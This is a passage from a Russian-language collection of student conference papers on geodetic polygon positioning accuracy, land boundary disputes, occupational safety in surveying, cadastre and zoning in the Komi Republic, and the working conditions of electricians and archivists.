но повысить эффективность его использования в учебном процессе. В работе представ-
лены методика и результаты расчета точности позиционирования пунктов геодезиче-
ского полигона. Применяемый алгоритм проектирования и нормирование заданных 
точностных параметров обеспечивает объективность выбора инструмента и методики 
позиционирования [1].    
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Анализ и расчет точности позиционирования пунктов сети геодезического 
полигона Комсомольского-на-Амуре государственного университета 

 Общий подход к оценке точности позиционирования пунктов сети геодезиче-
ского полигона реализуется на базе следующих технических решений и требований: 

- рекогносцировка местности расположения пунктов геодезической сети поли-
гона; 

- расположение и класс точности пунктов геодезического обоснования; 
- необходимая плотность пунктов геодезической сети полигона; 
- разработка проекта геодезического полигона, включая схему привязки к пунк-

там геодезического обоснования; 
- разработка общей схемы построения теодолитно-высотных ходов геодезиче-

ского полигона; 
- выбор инструмента соответствующей точности и разработка методики измере-

ний.   
Определяющими факторами при оценке точности построения геодезической се-

ти в общем случае являются следующие: 
- назначение геодезической сети; 
- схема построения, количество пунктов планово-высотного обоснования, длины 

сторон; 
- общая площадь объекта и плотность расположения пунктов проектируемой се-

ти. 
В соответствии с назначением геодезического полигона расположение пунктов 

осуществляется на территории Комсомольского-на-Амуре государственного универси-
тета. Общий вид территории и расположение пунктов представлены на рис.1. 

 
Рисунок 1 – Общий вид территории геодезического полигона 
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Координирование пунктов геодезического полигона осуществляется в системе 
прямоугольных координат городской полигонометрии. Геодезическое обоснование по-
строено с привязкой к пунктам пп. 918 (стенная марка) и ст. рп. 232 (стенной репер). 
Плановые координаты и высотные отметки этих пунктов представлены в таблице 1. 
Развитие и построение линии хода геодезического полигона осуществляется после вы-
носа и координирования начального пункта. Общая методика производства инженерно-
геодезических работ при координировании пунктов геодезического полигона осу-
ществляется на базе метода электронной тахеометрии. Эффективность данного метода 
обеспечивается за счет следующих факторов: 

- высокоточное измерение зенитных расстояний и горизонтальных углов; 
- автоматизация измерений; 
- предварительная обработка результатов измерений на базе встроенного про-

граммного обеспечения. 
 В качестве геодезического обоснования при разработке геодезического полиго-

на использовались пункты городской полигонометрии).  Привязка полигонометриче-
ского и теодолитного хода при координировании пунктов полигона осуществлялась 
путем обратной геодезической засечки на пункты городской полигонометрии Пп 918 
(стенная марка) и Ст. рп. 232 (стенной репер). Схема теодолитно-высотных ходов гео-
дезического полигона представлена на рисунке 2 

 
Рисунок 2 - Схема теодолитно-высотных ходов геодезического полигона 

Общая характеристика пунктов геодезического обоснования и пунктов геодези-
ческого полигона представлены в таблице 1. 
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Таблица 1- Общая характеристика пунктов геодезического обоснования  
и пунктов геодезического полигона 

 
Наименование  
оборудования 

тип №инв. X, м Y, м Н, м 

 1 пп 1разряда тип 152 оп 11 1134,519 -2953,274 29,153 
2 пп 1разряда тип 152 оп 12 1063,939 -3007,584 29,426 

 3 пп 1разряда тип 152 оп 13 966,386 -2912,410 29,773 
 4 пп  2 разряда тип 152 оп 1 1006,800 -2864,694 29,905 
 5 пункт полигоно-

метрии  2 разряда 
тип 152 оп 2 988,866 -2845,726 29,235 

 6 пп  2 разряда тип 152 оп 3 966,818 -2868,672 29,065 
7 пп полигономет-

рии 2 разряда 
Стенная 

марка 
Пп 918 1266,722 -2872,195 30,882 

8 пп городской по-
лигонометрии 2 
разряда 

Стенной 
репер 

Ст. 
рп.232 

1259,098 -2880,702 30,825 

 пп 1разряда тип 152 оп 14 933,094 -2881,004 29,041 
 пп 1разряда тип 152 оп 16 823,331 -2784,522 28,536 

 Анализ и расчет точности позиционирования пунктов сети геодезического поли-
гона Комсомольского-на-Амуре государственного университета позволяет существен-
но повысить эффективность его использования в учебном процессе. Общая методика 
производства инженерно-геодезических работ при координировании пунктов геодези-
ческого полигона осуществляется на базе метода электронной тахеометрии. Эффектив-
ность данного метода обеспечивается за счет следующих факторов: 
- высокоточное измерение зенитных расстояний и горизонтальных углов; 
- автоматизация измерений; 
- предварительная обработка результатов измерений на базе встроенного программного 
обеспечения.  

В работе представлены методика и результаты расчета точности позициониро-
вания пунктов геодезического полигона. Применяемый алгоритм проектирования и 
нормирование заданных точностных параметров обеспечивает объективность выбора 
инструмента и методики позиционирования 
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Аннотация. В статье представлены результаты анализа споров, возникающих в 
процессе использования земельных участков и при проведении кадастровых работ по 
определению их границ. Проведено некоторое обобщение судебной практики по 
рассмотрению споров о границе земельных участков, а также проанализированы 
применяемые способы защиты нарушенных прав в таких случаях. 
Abstract. The article presents the results of an analysis of disputes arising in the process of 
using land plots and during cadastral work to determine their boundaries. Some generalization 
of judicial practice on the consideration of disputes on the boundary of land plots has been 
carried out, as well as the methods used to protect violated rights in such cases have been 
analyzed. 
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В современном, отечественном законодательстве отсутствует конкретная 
формулировка термина «земельный спор», но его можно установить из анализа 
Земельного кодекса Российской Федерации (далее ЗК РФ), статей 3 и 64 юридической 
литературы и опыта судебных процессов. 

Конфликты по земельным вопросам возникают при разногласиях между двумя 
или более сторонами. Субъектами споров могут выступать не только собственники, 
владельцы, пользователи, арендаторы, органы государственного управления, но и лица, 
заинтересованные в образовании земельных участков. Предметом разногласий может 
выступать различные обстоятельства, например, возмещение ущерба, нарушение прав 
при образовании, межевании и пользовании земельными участками. В последнее 
время, увеличилось количество споров в отношении земель сельскохозяйственного 
назначения [1]. Текущее состояние земельных правоотношений в России 
характеризуется не высоким уровнем осведомлённости граждан в юридической 
области, включая недостаточную информированность граждан о своих правах и 
обязанностях, а также несовершенство механизмов урегулирования споров, связанных 
с земельными участками и имуществом [2]. 

Споры, в отношении земли неразрывно связаны с земельными отношениями. 
Проблема классификации этих споров занимает важное место среди практических и 
теоретических вопросов. Однако отсутствие общей теоретической концепции 
способствует разнообразию предлагаемых классификаций, но различные авторы 
предлагают различные варианты классификаций, так как общей теории специфики 
земельных споров пока нет. 

Систематизация, а именно классификация земельных споров является важным 
инструментом для научного анализа и практического применения, однако до сих пор 
отсутствует единый подход к классификации таких споров. Особую категорию 
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составляют споры о границах земельных участков, разрешение которых в судебном 
порядке представляет собой сложную задачу, требующую привлечения экспертов в 
области землеустроительной экспертизы. Современное законодательная база в том 
числе ЗК РФ предоставляет гарантии защиты прав граждан и юридических лиц. Форма 
судебной защиты считается наиболее эффективной, основываясь на принципах 
независимости, беспристрастности и объективности [3]. Для полного и корректного, а 
также законного разрешения земельных споров органы законодательной власти 
предоставили судам общей юрисдикции специальные полномочия, освобождающие их 
от влияния других органов власти. Это создаёт реальную возможность защиты прав 
землеобладателей. Рассматривая данную тему, необходимо отметить причины 
земельных споров. Они могут возникать из-за действий или бездействия участников 
земельных отношений, которые нарушают права и интересы других участников этих 
отношений. Важно понимать, что не только физические и юридические лица, а также и 
государственные органы могут нарушать права. Многие споры связаны с точностью 
измерений, проводимых при межевании [4] 

Согласно Земельному кодексу РФ от 1991 года, споры о земле рассматриваются 
судами общей юрисдикции и арбитражными судами. Ранее такие споры решались в 
административном порядке, что предполагало обращение в органы государственной 
власти до возможности обращения в суд. 

Изначально процесс решения конфликтов имел административный характер, где 
лицо сначала обращалось к государственным органам, а затем к суду. Суд являлся, 
своего рода, второй инстанцией, в которую можно было обратиться, только имея 
решения административного органа [5].  

В настоящее время характер земельных споров не позволяет правильно их 
рассматривать без применения специальных знаний в области землеустройства и 
кадастров. Иногда инициатор спора, не владея полной информацией о 
землеустроительной экспертизе, зачастую неудачно формирует обращение, что может 
затруднить судебное разбирательство. Возможно классифицировать споры по 
характеру исковых требований для оптимизации этого процесса. 

Для повышения эффективности судебной землеустроительной экспертизы 
необходимо разработать типовые перечни документов, являющихся объектами 
экспертизы, а также обеспечить доступность информации о порядке проведения 
экспертизы. В сложных случаях участники споров часто прибегают к рецензированию 
экспертных заключений [6,7]. 

Анализ судебной практики, проведённый Самойленко Д. В. показал, что при 
возникновении споров о границе земельных участков заявляют следующие исковые 
требования:  

 Об установлении границы. 
 О признании недействительными результатов межевания и аннулировании 

(исключении) сведений из ЕГРН. 
 О признании недействительным образования земельного участка. 
 Об устранении (признании) реестровой ошибки. 
 Об устранении препятствий в пользовании земельным участком. 
 О преобразовании земельного участка [7]. 
Предложенная классификация соответствует современным реалиям и позволяет 

систематизировать и анализировать споры, возникающие в отношении границ 
земельных участков.  

Вопросы разрешения земельных споров остаются актуальными и требуют 
дальнейшего совершенствования законодательства и правоприменительной практики, 
включая задачи землеустроительной экспертизы, межевания и кадастровых работ. 
Очевидно, что реализация мер по созданию в этой области, включая 
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специализированные суда и процессуальное законодательство может помочь в более 
эффективном урегулировании земельных споров. 

 
СПИСОК ИСТОЧНИКОВ 
1 Симонова, А. А. Специфика разрешения земельно-имущественных споров, 

проблемы и перспективы / А. А. Симонова, К. В. Тихонова // Экономика и экология 
территориальных образований. – 2017. – № 1. – С. 49-53. – EDN XIIWLR. 

2 Тоточенко, Д. А. Понятие и классификация споров о правах на земельный 
участок / Д. А. Тоточенко // Научный вестник Омской академии МВД России. – 2015. – 
№ 4(59). – С. 63-68. – EDN UZEWGR. 

3 Салов С. М. К проблеме величины допустимых расхождений контрольных 
определений координат характерных точек объектов недвижимости при производстве 
судебной землеустроительной экспертизы / С. М. Салов // Цифровизация 
землепользования и кадастров: тенденции и перспективы : Материалы международной 
научно-практической конференции 25 сентября 2020 года , Москва, 25 сентября 2020 
года. – Москва: ФГБОУ ВО Государственный университет по землеустройству, 2020. – 
С. 388-393. – EDN ABDJFN. 

4 Салов С. М. К вопросу о стадиях экспертного исследования при проведении 
судебной землеустроительной экспертизы / С. М. Салов // Современное состояние, 
проблемы и перспективы развития судебно-экспертной деятельности частных 
экспертов: Материалы Международной научно-практической конференции, Москва, 28 
января 2022 года. – Москва: РГ-Пресс, 2022. – С. 241-247. – EDN OTJJNN. 

5 Фаткулина А. В. Рецензия на заключение эксперта-землеустроителя как 
доказательство в судебном процессе / А. В. Фаткулина // Журнал юридических 
исследований. – 2022. – Т. 7, № 4. – С. 37-47. – EDN LNOPYS. 

6 Самойленко, Д. В. Типология споров о местоположении земельных участков 
сельскохозяйственного назначения / Д. В. Самойленко // Современные тенденции 
развития экологического, земельного и аграрного права : Материалы II 
Международной научно-практической конференции, Москва, 17 июня 2019 года. – 
Москва: Институт государства и права РАН, 2020. – С. 304-308. – EDN YVQHEN. 

7 Самойленко, Д. В. Классификация споров о границах земельных участков / Д. 
В. Самойленко // Черные дыры в Российском законодательстве. – 2019. – № 1. – С. 77-
79. – EDN YZXSZV. 

8 Липски, С. А. Земельные правонарушения и земельные споры / С. А. Липски, 
В. В. Нахратов. – Москва : Федеральное государственное бюджетное образовательное 
учреждение высшего профессионального образования Государственный университет 
по землеустройству, 2014. – 161 с. – EDN UIDBRZ. 
 
УДК 331.45 
Иноземцева Елизавета Александровна, студент, ФГБОУ ВО «Государственный универ-
ситет по землеустройству» 
Inozemtseva Elizaveta Aleksandrovna, student, The State University of Land Use Planning 
 
ОХРАНА ТРУДА ПРИ ТОПОГРАФО-ГЕОДЕЗИЧЕСКИХ РАБОТАХ 
 
LABOR PROTECTION IN TOPOGRAPHICAL AND GEODETIC WORKS 
 
Аннотация. Данная работа посвящена исследованию актуальных вопросов охраны тру-
да при топографо-геодезических работах. В докладе рассмотрены проблемы и способы 
безопасного выполнения геодезических работ с целью предотвращения несчастных 
случаев на производстве и снижения количества профессиональных заболеваний.  



135 

Abstract. This work is devoted to the study of current issues of labor protection in topographic 
and geodetic works. The report examines the problems and methods of safe performance of 
geodetic works in order to prevent accidents at work and reduce the number of occupational 
diseases. 
Ключевые слова: охрана труда, безопасность, несчастный случай, травматизм, геодези-
ческие работы 
Keywords: labor protection, safety, accidents, injuries, geodetic works 
 

Чтобы обеспечить безопасность выполнения топографо-геодезических работ 
важно заранее изучить возможные опасные и вредные производственные факторы, ока-
зывающие воздействие на работников. Для этого охарактеризуем и проанализируем в 
каких условиях могут выполнятся данные виды работ. 

В настоящее время со стороны государства усилился контроль за соблюдением 
требований охраны труда и техники безопасности на производстве [1]. Как следствие, 
работодатели обязаны проводить мероприятия, позволяющие оценить профессиональ-
ные риски и выявить факторы, которые могут привести к несчастному случаю. В соот-
ветствии с приказом Минтруда России от 29.10.2021 № 776н оценка профессиональных 
рисков относится к одному из основных процессов системы управления охраной труда. 
В ходе ее проведения также выявляются основные опасности. Также работодатели обя-
заны провести специальную оценку условий труда (Федеральный закон от 28.12.2013 
№ 426-ФЗ «О специальной оценке условий труда» (с изм. и доп.). Актуальность данной 
проблемы заключается в обеспечении безопасности и сохранении здоровья работников, 
снижении травматизма на рабочих местах. Топографо-геодезические работы преду-
сматривают сочетание полевых работ и обработку их результатов в камеральных усло-
виях. Данные виды работ имеют свои специфические особенности, например, полевые 
работы характеризуются сезонностью (погодно-климатическими условиями), переме-
щениями экспедиционного характера, особенностями рельефа и биотическими факто-
рами и др. Работники, которые направляются на полевые топографо-геодезические ра-
боты в экспедиционные условия, должны пройти предварительный медосмотр. Если в 
соответствующей местности были зафиксированы очаги эпидемических заболеваний 
(клещевой энцефалит и др.), то организуются противоэпидемические прививки, а также 
проводится обучение работников мерам личной профилактики. Специфичность топо-
графо-геодезических работ оказывает влияние на обеспечение безопасности их выпол-
нения, например, определенную опасность создают частые переезды с одного объекта 
на другой, в том числе в условиях интенсивного движения транспорта. Кроме этого, 
возможны следующие источники травмирования работников:  

– котлованы и работы на высоте на строительных площадках [4];  
– обрушение конструкций и падение различных предметов;  
– применяемые приборы и оборудование; 
– погодно-климатические условия (холод, жара, сильный ветер, гроза, град и 

др.);  
– канализационные люки; 
– взрывоопасное оборудование, легковоспламеняющиеся жидкости и газы, го-

рючее топливо, смазочные и другие материалы на предприятиях;  
– удобрения, пестициды, ядохимикаты, применяемые в сельском хозяйстве [3];  
– электрический ток (приборы, находящиеся под высоким напряжением, обо-

рванные провода, лежащие на земле, поврежденная изоляция и т.п.); 
– неудовлетворительное освещение; 
– неровности и другие особенности рельефа местности; 
– дикие животные и др. 
К развитию профессиональных заболеваний у работников могут привести:  
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– нарушение режима труда, отдыха и питания; 
– перенапряжение и переутомление организма; 
– несоблюдение правил личной гигиены; 
– не использование средств индивидуальной защиты или их неправильное при-

менение,  
– повышенная концентрация в воздухе пыли и других вредных веществ на стро-

ительных площадках, при прокладке газо-, аммиако-, нефтепроводов и др.);  
– производственный шум и вибрация и др. 
Для предупреждения и уменьшения неблагоприятного воздействия на работни-

ков вышеуказанных производственных факторов необходимо:  
– своевременно проводить обучение безопасным методам выполнения работ и 

инструктажи по охране труда; 
– проводить обучение работников оказанию первой помощи пострадавшим; 
– заранее выявлять возможные опасные участки проведения работ, на которых 

могут возникнуть различные неблагоприятные факторы;  
– обеспечивать работников средствами индивидуальной защиты, которые соот-

ветствуют условиям труда. 
Некоторые неблагоприятные производственные факторы [2] могут носить неяв-

ный или косвенный характер проявления опасности, например, плохо организованный 
порядок выполнения работ, несовершенство производственного процесса, внезапно 
возникшие обстоятельства и др.  

Современные камеральные работы выполняются при помощи компьютерной 
техники. При использовании такой техники на работников могут оказать воздействие 
следующие производственные факторы: напряженность труда, нервно-эмоциональная и 
зрительная нагрузка, длительные работы сидя в одном положении почти без движения. 
При работе с компьютером на работников оказывают влияние низкочастотные элек-
трические и магнитные поля, ультрафиолетовое излучение экрана монитора, шум, воз-
можно поражение электрическим током. При работе с принтерами и копировальной 
техникой в воздух рабочей зоны выделяются вредные химические вещества и пыль [5].  

Также на работников воздействуют разные психофизиологические факторы 
(необходимость концентрации внимания, большой объем работ, интеллектуальные, 
эмоциональные и статические нагрузки, монотонность труда и др.). 

Для выполнения камеральных работ необходимо соблюдать оптимальные или 
допустимые условия микроклимата (температура, относительная влажность и скорость 
движения воздуха). При размещении компьютеров важно соблюдать расстояние между 
рабочими местами и площади помещения на одного работника в зависимости от типа 
техники. При работе на компьютере работнику необходимо периодически менять позу, 
чтобы снизить напряжение мышц шеи, плечевой области и спины. Кресло должно 
иметь подъемно–поворотный механизм для регулировки по высоте, также желательна 
подставка для ног. Материал поверхности сидения должен быть воздухопроницаемым 
и неэлектризующимся. Рабочее освещение должно соответствовать нормативам в зави-
симости от разряда зрительной работы, и обеспечивать соблюдение коэффициента 
естественной освещенности (КЕО). Неудовлетворительное освещение приводит к 
ухудшению зрения, ошибкам, травмам, снижению производительности труда.  

При работе с компьютерной техникой рекомендуется делать перерывы каждые 
два часа для снижения нервно-эмоциональное напряжение, зрительное утомление. В 
течение перерывов желательно выполнять непродолжительную разминку, а также гим-
настику для глаз.  Предложенные методы позволяют спрогнозировать некоторые про-
изводственные ситуации и предупредить возможные несчастные случаи. Кроме этого, с 
помощью современных технологий возможно учесть производственные факторы и тем 
самым создать безопасные условия труда. 
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В современном мире, где вопросы собственности, землепользования и развития 

территорий приобретают все большую актуальность, кадастр недвижимости выступает 
не просто как систематизированный свод информации, а как ключевой инструмент 
управления и регулирования. Он представляет собой фундамент для обеспечения про-
зрачности и законности в сфере земельных отношений, играя важнейшую роль в эко-
номическом развитии, градостроительстве и защите прав собственности. Данная статья 
посвящена рассмотрению сущности и значения кадастра недвижимости, его функций и 
влияния на различные аспекты современной жизни. Цель данной работы – рассмотреть 
сущность и значение кадастра недвижимости, его функции и влияние на различные ас-
пекты современной жизни, а также проанализировать взаимосвязь кадастра с Правила-
ми землепользования и застройки (ПЗЗ) на примере городов Республики Коми. 

Кадастр недвижимости – это систематизированный свод сведений об объектах 
недвижимости, включая земельные участки, здания, сооружения и объекты незавер-
шенного строительства. Он содержит исчерпывающую информацию об их местополо-
жении, площади, границах, категории земель, разрешенном использовании, собствен-
никах и других важных характеристиках. Кадастровый учет – это процесс внесения 
данных об объекте недвижимости в государственный кадастр. 

Важность кадастра в современной жизни: 
Гарантия прав собственности: Кадастровый учет является необходимым этапом 

для государственной регистрации прав на недвижимость. Только зарегистрированное 
право собственности защищено законом и дает владельцу уверенность и юридическую 
силу. Основа для справедливого налогообложения: Кадастровая стоимость объектов 
недвижимости используется для расчета налога на имущество. Актуальная и достовер-
ная кадастровая информация обеспечивает справедливое и прозрачное налогообложе-
ние, исключая возможность занижения налоговой базы. 

Инструмент эффективного управления земельными ресурсами: Кадастровые 
данные незаменимы для планирования развития территорий, распределения земельных 
участков, мониторинга их использования и принятия градостроительных решений. 

Развитие рынка недвижимости: Достоверная и доступная кадастровая информа-
ция повышает прозрачность рынка недвижимости, снижает риски для инвесторов и 
способствует развитию рыночных отношений. 

Упрощение разрешения земельных споров: Кадастровые данные – важное дока-
зательство в судебных разбирательствах, связанных с земельными спорами, помогая 
установить права и границы собственности. 

Обеспечение информационной доступности: Публичный доступ к кадастровой 
информации позволяет гражданам и организациям получать необходимые сведения об 
объектах недвижимости, способствуя прозрачности и открытости в сфере земельных 
отношений [1]. 

ПЗЗ – это документ градостроительного зонирования, устанавливающий терри-
ториальные зоны и виды разрешенного использования земельных участков в пределах 
каждой зоны. ПЗЗ и кадастр тесно взаимосвязаны: 
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1. ПЗЗ определяют разрешенное использование, которое фиксируется в кадаст-
ре. Информация о разрешенном использовании в кадастре должна соответствовать ПЗЗ. 
Изменение вида разрешенного использования требует внесения изменений как в ПЗЗ, 
так и в кадастровые сведения. 

2. Кадастровые данные используются при разработке и актуализации ПЗЗ. Ин-
формация о существующей застройке, границах участков, категориях земель, получен-
ная из кадастра, необходима для обоснованного зонирования и установления правил 
землепользования. 

3. Совместное использование кадастра и ПЗЗ обеспечивает прозрачность и кон-
троль. Это позволяет контролировать соблюдение градостроительных норм и предот-
вращать незаконное строительство или нецелевое использование земель [2]. 

ПЗЗ играют ключевую роль в определении рыночной и кадастровой стоимости 
земельных участков. Разрешенное использование, установленное ПЗЗ, напрямую влия-
ет на ценность земли. Участок, на котором разрешено строительство многоквартирного 
дома, будет стоить значительно дороже, чем участок, предназначенный для сельскохо-
зяйственного использования. Таким образом, ПЗЗ – важный фактор, влияющий на 
формирование кадастровой информации и, как следствие, на экономические процессы, 
связанные с недвижимостью [3]. Рассмотрим наличие ПЗЗ в городах Республики Коми. 

 
Рисунок 1 – Фрагмент ПЗЗ г. Сыктывкар 

Республика Коми — субъект Российской Федерации, расположенный на край-
нем северо-востоке Европейской части России. 13 Входит в состав Северо-Западного 
федерального округа. Площадь республики — 416,8 тыс. км², что составляет 2,4% пло-
щади России. 

Республика Коми граничит с севера и северо-запада с Ненецким автономным 
округом, с запада с Архангельской областью, с востока с Ямало-Ненецким и Ханты-
Мансийским автономными округами, с юго-востока со Свердловской областью, с юга с 
Пермским краем, с юго-запада с Кировской областью.  

Столицей Республики Коми является город Сыктывкар. 
Рассмотрим наличие ПЗЗ в городах Республики Коми. 

Таблица 1 - Наличие и год утверждения ПЗЗ в городах Республике Коми 
Город Наличие ПЗЗ Год утверждения ПЗЗ 

Воркута + 2019 
Вуктыл + 2021 
Емва + 2023 
Инта + 2021 
Микунь + 2013 
Печора + 2022 
Сосногорск + 2021 
Сыктывкар + 2010 
Усинск + 2009 
Ухта + 2013 
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Таблица показывает наличие и год утверждения Правил землепользования и за-
стройки (ПЗЗ) в десяти городах Республики Коми. Города республики утверждали ПЗЗ 
в разные годы, что свидетельствует о неравномерности градостроительной политики в 
регионе. Разница между самым ранним (Сыктывкар, 2010 год) и самым поздним (Емва, 
2023 год) утверждением составляет 13 лет. Кадастр недвижимости – это неотъемлемая 
часть современной системы управления земельными ресурсами и градостроительного 
развития. Его эффективное функционирование, в тесной взаимосвязи с ПЗЗ, обеспечи-
вает прозрачность, стабильность и устойчивое развитие в сфере земельных отношений. 
Кадастр играет важнейшую роль в защите прав собственности, формировании справед-
ливой налоговой базы, рациональном использовании земель и развитии рынка недви-
жимости. Дальнейшее развитие кадастровых систем, их интеграция с другими инфор-
мационными ресурсами и использование передовых технологий – необходимые усло-
вия для повышения эффективности управления земельными ресурсами и обеспечения 
устойчивого развития территорий. Пример Республики Коми и наличие ПЗЗ в ее горо-
дах подтверждает важность и актуальность применения данного инструмента градо-
строительного регулирования на практике. Это способствует более эффективному 
управлению земельными ресурсами и гармоничному развитию территорий региона. 
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АНАЛИЗ УСЛОВИЙ ТРУДА  ЭЛЕКТРИКОВ  
 
ANALYSIS OF THE WORKING CONDITIONS OF ELECTRICIANS  
 
Аннотация. Статья посвящена условиям труда электриков, оборудованию, с которым 
непосредственно работает,  опасностям и рискам которые могут возникнуть во время 
трудового процесса. Рассмотрены меры безопасности, которые применяются для без-
опасных условий труда, приведены средства индивидуальной защиты, необходимые 
для проведения работ. 
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Abstract. The article is devoted to the working conditions of electricians, the equipment they 
work with directly, the dangers and risks that may arise during the labor process. The safety 
measures that are used for safe working conditions are considered, and personal protective 
equipment necessary for carrying out work is provided. 
Ключевые слова: электрик, условия труда, безопасность, факторы. 
Keywords: electrician, working conditions, safety, factors. 
 
 Профессиональная деятельность электриков в квартирах включает в себя мно-
жество аспектов, связанных с выполнением различных задач, таких как установка, ре-
монт и обслуживание электрических систем. 

Одну из важнейших ролей здесь играет специальная оценка условий труда, ко-
торая позволяет выявить приоритетные факторы риска [1]. 

Электрик - это специалист, специализирующийся на электропроводке зданий, 
линий электропередачи, стационарных машин и сопутствующего оборудования.  

Электрик применяет как ручные инструменты (отвертки, плоскогубцы, долото), 
так и современное оборудование (дрель, детектор проводки, лазерную разметку). 

Условия труда электриков в квартире могут варьироваться в зависимости от ря-
да факторов, включая специфику работы, состояние электрооборудования и самих по-
мещений [2, 3]: 

 Правильное освещение рабочих мест важно для предотвращения ошибок и 
травм. Недостаток света может привести к неправильной установке оборудования. 

 Ограниченное пространство в квартирах может затруднить выполнение работ 
и повысить риск травм. 

 Важно правильно планировать работу, чтобы минимизировать время нахож-
дения в небезопасных условиях. 

Очевидно, что работа у электриков в квартирах сопряжена с рядом опасностей 
таких как [4]: 

 Неправильное обращение с электрооборудованием, которое может привести к 
серьезным травмам или даже летальному исходу. 

 Электрики зачастую работают на высоте, осуществляя монтаж осветительных 
приборов или проводят работы на потолках. Это увеличивает риск падений. 

 Использование инструментов также связано с риском получить порезы, уши-
бы и другие травмы. 

Для минимизации рисков и улучшения условий труда электриков необходимо 
внедрять ряд мер безопасности: 

 Регулярная проверка и обслуживание электроинструментов для предотвраще-
ния их поломки во время работы. 

 Перед началом работ необходимо проводить оценку потенциальных рисков и 
разрабатывать планы действий на случай экстренных ситуаций. 

 Обеспечение работников необходимыми средствами защиты — перчатками, 
касками, защитными очками (рисунок 1). 

 
Рисунок 1 – Средства индивидуальной защиты электрика 
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Современный рынок СИЗ  предоставляет работодателям и работникам возмож-
ность выбора из большого ассортимента.  

При этом основными видами СИЗ у электриков являются: перчатки, защитные 
очки и специализированная обувь. 

Электрики большую часть времени находятся в положении стоя, при этом со-
вершают стереотипные рабочие движения. При длительной работе стоя показаны ре-
жимы труда и отдыха, включающие обеденный перерыв не менее 40 минут и перерывы 
по 5-10 минут через каждый час работы. 

Работа с электричеством может вызывать стресс из-за высокого уровня ответ-
ственности и потенциальных рисков. Электрики должны быть готовы к быстрому при-
нятию решений в сложных ситуациях, что требует не только профессиональных навы-
ков, но и психологической устойчивости. 

Анализ условий труда электриков, осуществляющих работы в помещениях пока-
зывает, что данная профессия сопряжена с множеством рисков, которые требуют осо-
бого внимания. Обеспечение безопасных условий труда не только снижает вероятность 
несчастных случаев, но и способствует повышению производительности работы. 
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УСЛОВИЯ ОХРАНЫ ТРУДА ДЛЯ АРХИВОВЕДОВ 
 
LABOR PROTECTION CONDITIONS FOR ARCHIVISTS 
 
Аннотация. Цель работы: исследование психологических условий труда с целью выяв-
ления факторов, способствующих повышению психологического комфорта и общей 
удовлетворенности сотрудников, а также разработка рекомендаций для их оптимиза-
ции. Предмет работы: психологические условия труда, включая эмоциональную под-
держку, рабочую нагрузку, ощущение значимости работы, образовательные возможно-
сти, рабочую обстановку, корпоративную культуру и доступ к ресурсам. Основное 
внимание уделяется влиянию этих факторов на психологическое состояние сотрудни-
ков и их производительность. В результате проведенного исследования были определе-
ны ключевые аспекты, влияющие на психологические условия труда, и разработаны 
практические рекомендации по их улучшению. Выявлено, что создание поддерживаю-
щей рабочей среды, балансировка нагрузки и предоставление возможностей для про-
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фессионального роста значительно увеличивают уровень удовлетворенности работни-
ков. Также предложены меры по формированию корпоративной культуры, способ-
ствующей развитию чувства принадлежности и снижению стресса. Результаты работы 
могут быть использованы для повышения эффективности управления human resources и 
улучшения общего климата в организации. 
Abstract. The purpose of the work: To study the psychological working conditions in order to 
identify factors contributing to the improvement of psychological comfort and overall satis-
faction of employees, as well as to develop recommendations for their optimization. 
Subject of the work: Psychological working conditions, including emotional support, work-
load, sense of job importance, educational opportunities, work environment, corporate culture 
and access to resources. The main focus is on the impact of these factors on the psychological 
state of employees and their productivity.  Results of the work: as a result of the conducted 
research, key aspects affecting psychological working conditions were identified and practical 
recommendations for their improvement were developed. It has been revealed that creating a 
supportive work environment, balancing the workload and providing opportunities for profes-
sional growth significantly increase the level of employee satisfaction. Measures for the for-
mation of a co are also proposed. 
Ключевые слова: архивовед, условия труда, стандарты охраны труда. 
Keywords: archivist, working conditions, labor protection standards. 
 

Профессия архивоведа играет важную роль в сохранении и систематизации ин-
формации, которая формирует историческую память общества. Архивоведы не только 
занимаются организацией и хранением документов, но и исследованием информации, 
которая может быть полезна для науки, культуры и бизнеса. Важным аспектом этой 
профессии являются условия охраны труда, которые должны обеспечить безопасность 
и здоровье работников.  

С учётом того, что архивоведы часто работают с историческими материалами, 
их труд требует не только профессиональной подготовки, но и соблюдения определён-
ных стандартов безопасности. Рабочая среда архивоведа включает в себя не только фи-
зические аспекты, такие как состояние рабочих помещений, но и психологические ком-
поненты, такие как возможность преодоления стресса, вызванного работой с ценной и 
иногда эмоционально нагруженной информацией.  

В данной статье мы рассмотрим основные аспекты охраны труда для архивове-
да, включая физические, эргономические и психологические условия. Важно понять, 
что создание безопасной и комфортной среды труда может существенно повысить эф-
фективность работы архивоведа и обеспечить сохранность архивных материалов, что 
имеет значительное значение для будущих поколений. 

1. Физические условия труда 
Работа архивоведа часто связана с длительным пребыванием в помещениях ар-

хивов, которые могут иметь определённые климатические условия. Важно, чтобы по-
мещения были оборудованы соответствующими системами вентиляции и отопления, 
что обеспечит комфортную температуру и влажность. Неправильные климатические 
условия могут негативно сказаться как на здоровье работников, так и на сохранности 
документов, которые подлежат хранению. 

Кроме того, архивоведы могут работать с тяжёлыми картотеками и ящиками с 
документами, что требует наличия специальных приспособлений для транспортировки 
и хранения материалов. Правильное использование этих средств поможет избежать 
травм, связанных с неправильной нагрузкой и перенапряжением. 

2. Эргономические условия труда 
Эргономика рабочего места является ключевым аспектом охраны труда для ар-

хивоведа. Рабочие места должны быть организованы таким образом, чтобы минимизи-
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ровать физическую нагрузку на работников. Это включает в себя правильное располо-
жение компьютерного оборудования, стульев и рабочих столов. 

К примеру, мониторы должны находиться на уровне глаз, а клавиатуры и мыши 
– на удобной высоте, что позволяет избежать проблем с позвоночником и запястьями. 
Регулярные перерывы для разминки и физической активности также способствуют 
улучшению состояния здоровья архивоведа и повышению его продуктивности. 

3. Психологические условия труда 
Работа архивоведа может иногда быть связана с высоким уровнем стресса, осо-

бенно если речь идёт о работе с документами, имеющими правовую или историческую 
ценность. Поэтому важно учитывать психологические аспекты охраны труда. Создание 
комфортной и безопасной рабочей атмосферы, поддержка корпоративной культуры и 
наличие возможностей для профессионального роста способствуют улучшению мо-
рального состояния сотрудников. 

Кроме того, важно, чтобы архивоведы имели доступ к психологической поддерж-
ке и могли обращаться за помощью в случае стресса или эмоционального выгорания. 

Вот несколько аспектов, которые следует учитывать при создании комфортной 
психологической среды на рабочем месте: 

1. Эмоциональная поддержка: важно создать атмосферу доверия и открытости в 
коллективе. Регулярные встречи, на которых сотрудники могут делиться своими мыс-
лями и чувствами, помогают в формировании дружеских отношений и поддержки. 

2. Рабочая нагрузка и её управление: Необходимость балансирования рабочей 
нагрузки, чтобы избежать стресса и выгорания. Применение принципов разумной 
